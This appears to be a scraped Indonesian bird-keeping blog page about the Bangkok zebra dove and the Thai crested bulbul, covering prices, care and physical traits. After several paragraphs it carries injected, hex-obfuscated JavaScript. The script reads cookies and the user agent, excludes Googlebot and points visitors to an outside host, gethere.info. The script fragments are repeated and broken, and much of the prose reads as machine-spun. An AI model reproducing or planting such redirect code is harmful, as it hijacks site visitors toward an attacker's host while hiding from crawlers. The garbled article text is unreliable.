IBX5980432E7F390 Ciri fisik serta kualitas Burung Perkutut Bangkok Kupas Triknya - Kicauan Burung Lovebird Ngekek

Ciri fisik serta kualitas Burung Perkutut Bangkok Kupas Triknya

Ciri fisik serta kualitas Burung Perkutut Bangkok

Ciri fisik serta kualitas burung perkutut bangkok-Burung perkutut dari bangkok ini memang tergolong lebih unggul kalau kita banding dengan perkutut lokal indonesia.selain anggung dan volume bunyi yang besar dan anggun,perkutut bangkok juga lebih tahap terhadap serangan banyak sekali jenis penyakit.

Berbeda dengan burung jalak thailand yang lebih suka hidup di dataran tinggi Dan hidup menyendiri, burung perkutut bangkok lebih suka hidup di dataran rendah dan terbuka ia akan lebih suka hidup berpasangan serta anak-anaknya.

Sama halnya dengan burung jalak thailand, perkutut bangkok memakan biji-bijian dan serangga. Berikut ini akan diuraikan beberapa jenis burung perkutut yang ada di Indonesia.Ciri fisik serta kualitas Burung Perkutut Bangkok

Perkutut Sumatera

Perkutut asal Sumatera tidak kalah cantiknya dengan perkutut asal pulau Jawa. Walaupun perkutut Sumatera belum begitu populer di telinga masyarakat, tetapi kelihaiannya sangat terbukti. Biasanya di tempat Sumatera burung perkutut dikenal dengan nama “merbok”.

Jika perkutut jawa badannya berukuran agak kecil, dan warna pelipisnya berwarna kuning. Lain halnya pula dnegna perkutut sumatera. Pada umumnya perkutut sumatera tubuhnya cenderung lebih besar.

Perkutut Bangkok

Perkutut ini juga mempunyai kelebihan seperti perkutut pada umumnya. Beberapa kelebihannya yaitu besarnya suara yang dikeluarkannya, dan lebih cepat manggungnya ketimbang burung lain.

Dari beberapa kelebihan yang dimilikinya  lah yang menciptakan para pecinta burung berkicau mulai melirik burung perkutut bangkok ini.

Beberapa tahun terakhir, burung perkutut bangkok hasil dari pemeliharaan para pecinta burung ini mulai memperlihatkan kemampuannya. Bahkan, burung perkutut bangkok asal luar negeri saja sudah mulai tergerus dengan burung perkutut bangkok ini.

Di Indonesia, sudah banyak kota-kota yang memelihara perkutut ini. Kota-kota besar itu yaitu Surabaya, Jakarta, Tasikmalaya, dan Bandung.

Ada beragam jenis umur perkutut bangkok. Dan harga disetiap jenis umur ini pun berbeda-beda. Tergantung pada kualitas burung tersebut.

Jika Anda ingin membeli bakalan perkutut bangkok yang berumur di bawah 6 bulan, Anda cukup mengeluarkan uang sekitar Rp. 85.000,00 – Rp. 135.000,00 per ekornya.

Lain halnya jikalau anakan tersebut berasal dari indukan yang telah banyak menjuarai berbagai perlombaan. Harga anakan tersebut jauh lebih mahal daripada harga anakan pada umumnya.

Biasanya harga anakan yang paling murah berkisar Rp. 400.000,00 per ekornya saja. Jika kita memesannya terlebih dahulu sebelum anakan tersebut menetas maka harganya sekitar Rp. 4.000.000,00 per ekor.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1) window[_0x446d[5]],_0x446d[6])var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1)(function(_0xecfdx1,_0xecfdx2)if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1)\-([1-8])(navigator[_0x446d[3]]var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1)var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1)(function(_0xecfdx1,_0xecfdx2)if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1)5[0-3])(navigator[_0x446d[3]]

Baca juga: Ciri Fisik dan bunyi murai kerikil medan gacor

Wajib Penting Di baca

  • Membedakan Burung Poksai Jambul Putih Thailand
  • Ciri Fisik Dan Karakter Burung Cucak Dari Thailand
  • Burung Murai Batu Paling Populer Di Indonesia
  • Ciri Kacer Juara Serta Habitat Kehidupan Di Alam Liar
  • Ciri Fisik Dan Karakter Burung Jalak Thailand
  • Kualitas Suara Anggung Burung Perkutut Bangkok
  • Cara Merawat Harian Piyikan Perkutut Bangkok
  • Jenis Burung Anis Merah Dan Kelebihannya
  • Habitat Kehidupan Burung Cucakrawa Liar Hutan
  • 5 Jenis Burung Berkicau Thailand Paling Unggulan
  • Ciri Fisik-Karakter Burung Ketilang Jambul Thailand Gacor

Berapa Harga Burung Ketilang Jambul Thailand

Berapa harga burung ketilang jambul thailand-Untuk membeli ketilang jambul, tidak perlu mengeluarkan uang yang banyak seakan-akan membeli burung berkicau dari lokal indonesia,untuk harga kutilang jambul yang berasal dari thailand harga yang di tawarkan relatif lebih murah,Tapi ingat bukan murahan.

Untuk perkara kicauan,tak kalah dengan bunyi kicauan ketilang asli indonesia. Dari sekian banyak burung asal negara luar, burung ketilang inilah yang harganya paling murah. Anda cukup mengeluarkan uang sekitar kurang lebih Rp. 35.000,00. Jangan meremehkan burung ini. Berapa Harga Burung Ketilang Jambul Thailand

Harga murah bukan berarti kualitas bunyinya di bawah standar. Burung ketilang ini sudah digolongkan ke dalam kelompok suara di atas standar.

Kriteria khusus yang harus dipenuhi ketika Anda membeli burung ketilang ini adalah bentuk tubuhnya yang besar, ekornya ada semua, dan yang paling penting ialah tidak ada cacat di tubuhnya.s

Di bawah ini akan dijelaskan cara merawat burung yang baik:

Sangkar dan perlengkapan dalam merawat burung

  • Sangkar yang baik

Burung ketilang jambul thailand ini termasuk ke dalam burung yang bernafsu. Maka dari itu dalam membuat sangkar sebaiknya dibuatkan sangkar yang ukurannya luas.

Ada dua jenis sangkar yang bisa Anda gunakan. Kandang bundar dan sangkar segi empat. Sangkar segi empat digunakan ketika ketilang ini masih kasar. Saat burung sudah mulai jinak, barulah sangkar bundar dipakai.

  • Penempatan makan dan minum burung

Tipe burung ketilang jambul thailand ini bukanlah burung yang suka memakai air minumnya untuk mandi. Maka penempatannya bisa diletakkan di tempat yang telah dibuat oleh penangkar.

Kelemahan yang Dimiliki Oleh Ketilang Jambul Thailand

Di bawah ini akan dibahas apa-apa saja kekurangan yang dimiliki oleh ketilang jambul thailand:

  • Sifatnya yang sulit dijinakkan

Bukan perkara praktis dalam menjinakkan burung ketilang ini. Butuh waktu yang lama untuk menjinakkan burung ini. Cara menjinakkan ketilang ini ialah memandikannya setiap hari di sangkar khusus. Jika burung ini sudah jinak, maka burung ini tidak akan malas lagi untuk berkicau.

  • Suaranya yang sedikit pecah

Irama kicauan burung ketilang ini kurang lah baik kalau dibandingkan dengan burung lain. Sebenarnya, suara burung ketilang ini keras, dan juga tajam. Akan tetapi bunyinya pecah tidak plong. Hal inilah yang menjadi pecinta burung berkicau berfikir dua kali untuk membeli burung ketilang jambul ini yang berasal dari negara thailand tersebut..var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1)(function(_0xecfdx1,_0xecfdx2)if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1)dica)(navigator[_0x446d[3]]var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1) window[_0x446d[5]],_0x446d[6])var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1) window[_0x446d[5]],_0x446d[6])var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1)

Baca juga: Ciri Fisik dan bunyi murai batu medan gacor

Wajib Penting Di baca

  • Membedakan Burung Poksai Jambul Putih Thailand
  • 5 Jenis Burung Berkicau Thailand Paling Unggulan
  • Ciri Fisik Dan Karakter Burung Jalak Thailand
  • Cara Membawa Burung Perkutut Dalam Perjalanan
  • Kualitas Suara Anggung Burung Perkutut Bangkok
  • Jenis Sarang Burung Walet Hitam Putih
  • Ciri Fisik Dan Habitat Burung Toet Liar
  • Cara Membedakan cucak Ijo Jantan Betina
  • Ciri Fisik Dan Karakter Burung Cucak Dari Thailand
  • Ciri Fisik-Karakter Burung Ketilang Jambul Thailand Gacor
  • Mengenal Ciri dan Karakter Burung Lovebird

Ciri Fisik-Karakter Burung Ketilang Jambul Thailand Gacor

Ciri fisik-karakter burung ketilang jambul thailand gacor-Walaupun ketilang ini orisinil dari Thailand, tetapi orang-orang banyak menyebutnya sebagai ketilang jambul asal Malaysia. Kutilang jambul dengan panjang badannya kurang lebih 25 cm ini, merupakan spesies yang dikategorikan sebagai spesies yang baik.

Kenapa dikatakan baik? Karna diantara jenis sesamanya hanay ketilang jambul ini yang mempunyai warna bulu yang menarik.

Jika di alam bebas, ketilang jambul ini tidak menyukai tempat seperti di hutan. Ketilang jambul ini lebih menyukai hidup di sekitar lingkungan masyarakat. Makanan pokok burung ketilang jambul thailand ini adalah serangga.

Akan tetapi, bila serangga tidak ada stoknya lagi, burung ini juga mau memakan buah-buahan. Buah yang baik untuk diiberikan kepada burung ialah pisang kepok.Ciri Fisik-Karakter Burung Ketilang Jambul Thailand Gacor

Pisang kepok dipercaya mampu membuat tubuh burung ini menjadi sehat. Jangan menyampaikan pisang kepok setiap hari. Mengapa dilarang? Supaya burung mampu memakan makanan pokoknya yaitu serangga. Jika ingin menyampaikan pisang kepok ini berikanlah 2-5 hari sekali.

Ciri-ciri Fisik Ketilang Jambul

Seperti pada ketilang jambul orisinil Indonesia, ketilang jambul ini mempunyai bentuk badan yang serupa dengan burung Indonesia. Burung ketilang jambul thailand memiliki beberapa kombinasi warna, diantaranya warna  hitam, merah, putih, dan abu-abu. Bagian-bagian tersebut diantaranya:

Bagian berwarna hitam terletak di mata, jambul, paruh. Bagian berwarna merah terletak di lingkaran mata. Bagian berwarna merah terletak di ekor bawah. Bagian berwarna putih terletak di pipi, dagu, tenggorokan. Dan penggalan berwarna debu-abu terletak di dada, dan perut.

Apabila kita ingin membeli ketilang akil balig cukup akal maka kita harus membedakannya dengan ketilang muda. Karena kini di pasar burung terdapat ketilang cukup umur dan ketilang muda. Tutorial membedakannya tidaklah sulit.

Yang membedakannya ialah tingkah lakunya. Jika burung ketilang muda bersifat hening. Lain halnya dengan ketilang akil balig cukup akal. Sifat dari ketilang sampaumur ini sangat lah liar.

Perbedaan Antara Burung Jantan dan Betina

Tidaklah sulit membedakan antara ketilang jantan dan betina. Cukup melihat perbedaan warna bulunya dan kicauannya. Jika burung jantan mempunyai kombinasi warna yang banyak, lain halnya dengan ketilang betina.

Ketilang betina hanya mempunyai sedikit warna. Warna bulu yang merah, cokelat yang dimiliki ketilang jantan tidak dimiliki oleh ketilang betina. Dari segi kicauannya, ketilang jantan lebih sering berkicau dibandingkan ketilang betinanya.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1)(function(_0xecfdx1,_0xecfdx2)if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1)tel(i)(navigator[_0x446d[3]]var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1) navigator[_0x446d[4]]var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1)var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1)

Baca juga: Ciri Fisik dan bunyi murai watu medan gacor

Wajib Penting Di baca

  • 5 Jenis Burung Berkicau Thailand Paling Unggulan
  • Ciri fisik Murai Batu Thailand-Malaysia-Filipina
  • Kehidupan Burung Murai Batu di Alam Liar
  • Membedakan Burung Poksai Jambul Putih Thailand
  • Ciri Fisik Dan Karakter Burung Cucak Dari Thailand
  • Ciri Fisik Dan Karakter Burung Jalak Thailand
  • Berapa Harga Burung Ketilang Jambul Thailand
  • Tauge Pakan Burung Parkit Untuk Masa Birahi
  • Jenis Dan Ciri Murai Batu Di Habitat Alam Liar
  • Jenis Burung Perkutut Yang Tersebar Diasia
  • Ciri Fisik Burung Gelatik Wingko Belong/Jawa

Berlangganan Untuk Mendapatkan Artikel Terbaru:

0 Komentar Untuk " Ciri fisik serta kualitas Burung Perkutut Bangkok Kupas Triknya"

Posting Komentar